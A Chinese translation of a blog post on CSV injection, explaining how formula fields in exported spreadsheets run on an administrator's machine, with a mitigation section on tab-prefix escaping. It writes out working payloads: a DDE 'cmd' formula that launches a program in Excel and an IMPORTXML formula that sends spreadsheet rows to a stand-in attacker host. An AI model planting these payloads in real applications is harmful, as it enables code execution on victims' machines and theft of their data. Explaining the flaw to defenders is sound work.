[譯]CSV注入:被人低估的巨大風險

玄學醬發表於2017-10-22

本文講的是CSV 注入:被人低估的巨大風險,

最近我在記錄本地使用者近期的電費時發現這個問題,有人叫我把它寫出來。

在某些方面上看來這是個舊新聞,但是從其他的角度看。嗯,我認為很少人意識到這個問題有有多強的破壞力,並且它能造成多大範圍的損害。對於將使用者的輸入結果和允許管理員大批量的把資訊匯出到 CSV 檔案的應用來說,都存在著一個有效的攻擊方向。

對於每個應用都有效。

修訂: 值得稱讚的是,這些文章指出了這個問題 一位安全專家 2014 年的文章,裡面探討了一部分攻擊方向另外一篇

現在我們開始正題吧 —— 設想我們有個記錄時間或者票據的應用。使用者們可以輸入自己的時間(或者票據)到應用中,但是不能檢視其他使用者這部分的資訊。然後網站管理員把這些輸入資訊匯出到一個 CSV 檔案,用一個電子表格應用開啟它。看起來很正常。

攻擊方向 1

我們都知道 CSV 檔案是什麼。其特徵很簡單,匯出來的 CSV 檔案看起來像是這樣的

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240

夠簡單。裡面沒有什麼危險的東西。連 RFC 也這樣描述:

CSV 檔案裡包含的文字應該不會有任何風險。

即使從定義上看,它也應該是安全的。

等下,讓我們來試一試將 CSV 檔案修改為下面內容

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=2+5", 240

在 Excel 裡計算表示式在 Excel 裡計算表示式在 Google Sheets 裡計算公式在 Google Sheets 裡計算公式

開啟自 Excel(左邊)和 Google Sheets(右邊)。

嗯。這很奇怪。雖然單元格的內容在引號內,但由於第一個字元是 =,它以一個表示式的形式被處理。實際上 —— 至少是在 Excel 裡 —— 包括 =-+ 和 @ 這樣的符號都會觸發這種行為,結果管理員發現資料的格式不正確,並因此而花大量的時間來查詢原因(正是 Excel 的這個現象引起了我的注意力)。這很奇怪,但不是很危險,不是嗎?

再等一下,表示式就是可以執行的程式碼。所以使用者可以執行程式碼 —— 雖然只是表示式程式碼 —— 執行在管理員的機器上,而這臺機器裡有許可權接觸使用者資料。

如果我們把 CSV 檔案改成這樣會有什麼結果?(注意最後一行的 Description 列)

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=2+5+cmd|` /C calc`!A0", 240

如果我們用 Excel 開啟會有什麼結果?

計算器會開啟!計算器會開啟!

額滴神啊!

沒錯,系統的計算器開啟了。

公平的說,在此之前的確有出現過一個警告。只是這警告是一大塊文字,沒人想要讀它。即使有人想讀,它也會明確建議:

只有當你信任這個 workbook 的資料時才點選確定

你想知道為什麼會這樣嗎?這是一個應用的匯出檔案,是給管理員用的。他們當然信任這些資料!

如果他們的技術很好呢?那麼更糟糕。他們知道 CSV 格式只是文字資料,因此不可能造成任何傷害。他們十分確信這一點。

就像這樣,攻擊者有無限制的權力在別人的電腦上下載鍵盤記錄,安裝東西,完全遠端地執行程式碼,而且這臺電腦如果屬於一個經理或者一間公司的管理員的話,還可能有許可權接觸所有使用者的資料。我想知道在這臺電腦裡面還有別的檔案可以竊取嗎?

攻擊方向 2

好吧,以上的主要內容挺簡短,但是畢竟這是個(相對)有名的漏洞。作為一個安全專家,可能你已經警告了所有的管理員謹慎使用 Excel,或者會考慮使用 Google Sheets 來代替它。畢竟,Sheets 不會被巨集影響,不是嗎?

這完全正確。所以我們收回“執行任何東西”的野心上,並把注意力放在僅僅是盜取資料上。畢竟,這裡的前提是攻擊者是一個普通的使用者,他只能接觸自己輸入在系統上的資料。而一個管理員有權力看到每個使用者的資料,我們有什麼辦法可以利用這一點嗎?

好好回想一下,我們雖然不能在 Google Sheets 裡執行巨集,但是我們完全可以執行表示式。並且表示式不僅僅限制於簡單的算術。實際上,我想問下在公式中是否有可用的 Google Sheets 命令能讓我們把資料傳輸到其他地方?答案是有的,有很多的方法可以做到這一點。我們先關注其中的一個方法IMPORTXML

IMPORTXML(url, xpath_query)

當執行這個命令時,它會對上面的 url 發出一條 HTTP GET 請求,然後嘗試解析並把返回資料插入到我們的電子表格。你是不是有一點想法了?

如果我們的 CSV 檔案有以下內容:

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=IMPORTXML(CONCAT(""http://some-server-with-log.evil?v="", CONCATENATE(A2:E2)), ""//a"")",240

攻擊者以符號 = 作為單元格的開頭,然後把 IMPORTXML 的地址指向了一個攻擊者的伺服器,並把電子表格的資料作為查詢字串附在該地址上。現在攻擊者可以開啟他們的伺服器日誌然後 yoooooo。終於拿到了不屬於他們的資料。在 Requestb.in 上自己試一試

有什麼蹤跡會留下來嗎?沒有警告,沒有彈框,沒有任何理由認為有出現過什麼問題。攻擊者只是輸入了一個格式過的時間/問題/其他資料的條目,最終管理員當要看匯出的 CSV 檔案時,所有限制訪問的資料都會瞬間,並悄悄地傳輸出去了。

等一下,我們能做得更過分

表示式式是執行在管理員的瀏覽器上的,這裡面有管理員的使用者賬號和安全資訊。並且 Google Sheets 並不是只能操作當前電子表格的資料,實際上它可以從 其他電子表格 拿資料,只要使用者有接觸過這些表格就行。而攻擊者只需要知道其他表格的 id。這些資訊通常不是什麼祕密,它出現在電子表格的 url 上,通常會意外地發現電子郵件上有這些資訊,或者釋出在公司內部的文件上,通過 Google 的安全策略來確保只有授權使用者才可以接觸這些資料。

所以說,不只是你的匯出結果/問題/其他資料可以溜出去。你的管理員有分別接觸過客戶列表或者工資資訊的電子表格?那麼這些資訊可能也可以搞出去!一切盡在不言中,沒有人會知道發生過這些事。一顆賽艇!

當然同樣的詭計也可以完美地執行在 Excel 上。實際上,Excel 在這方面上簡直是楷模 警方曾經利用過這個漏洞來追蹤罪犯

但事情不一定會這樣發展。

我展示這些資訊給了大量的安全研究員看,他們指出了犯罪者的各種惡作劇。例如犯罪者在他們各自的通訊中植入了資訊,這些資訊是他們伺服器的信標。這樣一來,如果研究員祕密地檢視他們在電子表格上的通訊資訊,那麼這個信標就會熄滅,這樣犯罪者就可以有效地逃避想要竊聽他們的人。

這很不理想。

預防

所以這一切到底是誰的錯?

當然這不是 CSV 格式的錯。格式本身不會自動地執行“像一條公式”的東西,這不是原本就有的用法。這個 bug 依賴於常用的電子表格程式,是程式在實際地做錯事。當然 Google Sheets 必須和 Excel 的功能保持一致,而 Excel 必須支援已存在的數百萬個複雜的電子表格。另外 —— 我不會研究這件事 —— 但 有充分理由相信 Excel 的行為來自於古代的 Lotus 1-2-3 的奇怪處理。目前來說讓所有的電子表格程式改變這一行為是一大困難。我想應該把注意力轉為改變每個人上。

我曾向 Google 報導他們的電子表格程式有漏洞。他們承認了,但是聲稱已經意識到了這個問題。雖然我確信他們明白這是一個漏洞,但他們給我一個明顯的感覺:他們並沒有真正考慮到在實踐中可能會被濫用的情況。 至少在 CSV 匯入並即將生成外部請求時,Google Sheets 應該發出一個警告。

但是把這件事的責任推在應用程式的開發者上也不是很實際。畢竟,大部分的開發人員沒有理由在一個簡單的業務應用裡寫了匯出功能後,還會懷疑會出現這個問題。實際上,即使他們閱讀該死的 RFC 也仍然不會有任何線索來發現這個問題。

那麼你怎麼預防這件事呢?

好吧,儘管 StackOverflow 和其他的網站提供了豐富的建議,但我發現只有一個(不在文件內的)方法可以使用在任意的電子表格程式上:

對於任何以表示式觸發字元 =-+或者 @ 開頭的單元格,您應該直接使用 tab 字元作為字首。注意,如果單元格里的內容有引號,那麼這個字元要在引號

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"    =2+5", 240

這很奇怪,但是起作用了,同時 tab 字元不會顯示在 Excel 和 Google Sheets 上。所以這就是我想要的嗎?

不幸的是,這個故事還沒完。這個字元雖然不會顯示,但是仍然存在。用 =LEN(D4) 來快速測一下字串的長度就可以確認這一事實。因此,在單元格的值只用來顯示,而不會被程式所使用的前提下,這是一個可接受的方案。。更進一步,有趣的是這個字元會造成奇怪的不一致。CSV 格式用在應用程式之間的資訊交流上。這意味著從一個應用程式匯出的轉義單元格的資料將會被另一個應用程式匯入並作為資料的一部分。

最終我們得出一個糟糕的結論,當生成 CSV 匯出檔案時,你必須知道這匯出檔案是用來做什麼的

  • 如果是為了在電子表格程式中計算時的能夠看到這些資料,則應使用 tab 來轉義。實際上這更重要,因為您不希望在匯出到電子表格時字串是“-2 + 3”時出現的結果為“1”,這讓人感覺就像是用程式語言解析的結果。
  • 如果它被用作系統間的資料交流,那麼不要轉義任何東西。
  • 如果您不知道會發生什麼事情,或者是要在電子表格應用程式中使用,或者隨後這個電子表格將被用作軟體的匯入源,放棄吧,只能祈禱不會發生什麼事情了(或者,總是在使用 Excel 時斷開網路連線,並在工作時遵循所有的安全提示)(修訂:這並非 100% 安全,因為攻擊者仍然可以使用巨集,讓自己的二進位制檔案來覆蓋已知的檔案。去他的。)。

這是一場惡夢,人們可以利用這個漏洞做些邪惡的事情,並因此而造成損失,而且還沒有明確的解決方案。這個漏洞應該要讓更多更多的人知道。


原文釋出時間為:2017年10月22日

本文來自雲棲社群合作伙伴掘金,瞭解相關資訊可以關注掘金網站。


相關文章